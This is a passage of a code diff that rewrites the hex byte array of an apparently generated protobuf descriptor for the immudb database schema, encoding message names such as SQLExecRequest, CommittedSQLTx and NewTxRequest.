0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, + 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, + 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, + 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, + 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, + 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, + 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, + 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, + 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, + 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, + 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, + 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, + 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, + 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, + 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, - 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, - 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, - 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, + 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, - 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, - 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, - 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, - 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, - 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, - 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, + 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, + 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, + 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, + 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, + 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, - 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, + 0x6c, 0x75, 